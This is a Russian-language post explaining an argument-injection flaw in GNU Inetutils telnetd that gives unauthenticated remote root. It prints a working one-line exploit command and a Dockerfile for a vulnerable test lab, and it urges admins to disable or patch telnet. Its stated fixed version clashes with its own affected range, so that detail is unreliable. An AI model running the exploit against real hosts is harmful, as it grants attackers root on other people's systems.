Имеем critical 9.8 в telnetd, которой 11 лет от роду. Один эксплойт — и ты root на удалёнке.
Корпоративные legacy-системы, embedded-девайсы и забытые серверы до сих пор висят на порту 23. GreyNoise уже ловит массовые сканы.
Что произошло?
В 2015 году в GNU Inetutils добавили
%U в шаблон вызова login, чтоб автологин работал без Kerberos. Коммит казался безобидным:/usr/bin/login -p -h %h %?u{-f %u}{%U}Но никто не подумал, что Telnet позволяет клиенту слать любые переменные окружения (RFC 1572). А
%U — это тупо подстановка $USER.Эксплойт в одну строку 🃏
USER="-f root" telnet -a 1.2.3.4 23
Бум:
1. Клиент шлёт
USER="-f root" через Telnet negotiation.2. telnetd подставляет в шаблон →
/usr/bin/login -p -h ... -f root3. login видит
-f (уже аутентифицирован) → скипает пароль.4. Привет, root shell без единого байта аутентификации.
Это классический argument injection (CWE-88). Не sanitization, не фильтры — просто подставили пользовательский ввод в аргументы.
Последствия?
Remote root на всех версиях GNU Inetutils telnetd 1.9.3–2.7 (почти 11 лет).
Не патчится старыми версиями — нужен апдейт до 2.5+ или патч от вендора.
Shodan/Censys: сотни тысяч устройств на 23 порту.
Уже эксплуатируют: persistence via SSH keys, second-stage payloads.
Тестовая лаба в Docker (чтоб самому пощупать)
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
COPY docker-entrypoint.sh /docker-entrypoint.sh
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
В 2026 году telnet всё ещё жив? Linux-админы, которые его не вырубили в 2010-х — это новый вид мазохизма. SSH существует, ребята. Отключайте telnetd найух, обновляйтесь или хотя бы firewall'те 23 порт. Иначе в 2027 будем читать про массовые root'ы в embedded-роутерах и старых серверах.